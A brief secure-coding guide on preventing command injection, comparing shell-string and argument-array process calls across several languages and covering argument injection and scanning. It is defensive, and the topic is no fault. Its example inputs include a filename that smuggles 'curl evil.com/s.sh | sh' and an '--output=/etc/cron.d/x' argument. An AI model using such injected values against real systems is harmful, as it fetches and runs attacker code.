How do I fix command injection?

Command injection is when user input becomes part of a command line that a shell interprets.

// Vulnerable
exec(`convert ${req.body.filename} output.png`);

A filename of x.jpg; curl evil.com/s.sh | sh runs both commands. The shell has no way to know the second half wasn't intended.

Use the array form

Every language has two variants: one that goes through a shell and one that doesn't. Use the second.

Node

// Vulnerable — spawns a shell
exec(`convert ${filename} output.png`);

// Safe — arguments passed directly
execFile('convert', [filename, 'output.png']);

spawn and execFile don't use a shell unless you pass shell: true. Don't.

Python

# Vulnerable
subprocess.run(f"convert {filename} output.png", shell=True)

# Safe
subprocess.run(["convert", filename, "output.png"])

shell=True is the flag that matters. Without it, the list is passed straight to execve and nothing interprets metacharacters.

Ruby. system("convert", filename, "out.png") with separate arguments, not string interpolation. Backticks and %x[] always use a shell.

PHP, escapeshellarg exists and is better than nothing, but proc_open with an argument array is the sounder approach.

Go. exec.Command("convert", filename, "out.png") doesn't use a shell by default, which is a good default.

Why escaping fails

The instinct is to strip or escape dangerous characters. The list is long, ; | & $ > < \ \n ( ) { } [ ] * ? ~ !`. And varies by shell, and encoding differences reintroduce characters after your check.

More fundamentally, it's the same trap as SQL injection: cleaning input has to be done correctly at every call site forever, while using the safe API is a habit that either happened or didn't.

Arguments starting with a dash

The array form stops metacharacter injection, and doesn't stop argument injection. A filename of --output=/etc/cron.d/x is a single argument, and the program may treat it as a flag.

Where a program supports it, use -- to end option parsing. Otherwise validate that user-supplied values don't begin with a dash, and prefer generating your own filenames over accepting them.

Better: don't shell out

Most of what people call out to the shell for has a library.

Image processing, sharp, Pillow, ImageMagick bindings. File operations. The standard library. HTTP, an HTTP client, not curl. Archives. A zip library.

Each removes the problem entirely rather than managing it, and is usually faster besides.

Finding the ones you already shipped

Well handled by scanners. exec, system, shell=True, backticks and popen are distinctive calls, and tracing whether user input reaches them is a short dataflow.

Grep for those directly as a first pass. The list of places you shell out is usually shorter than you'd guess.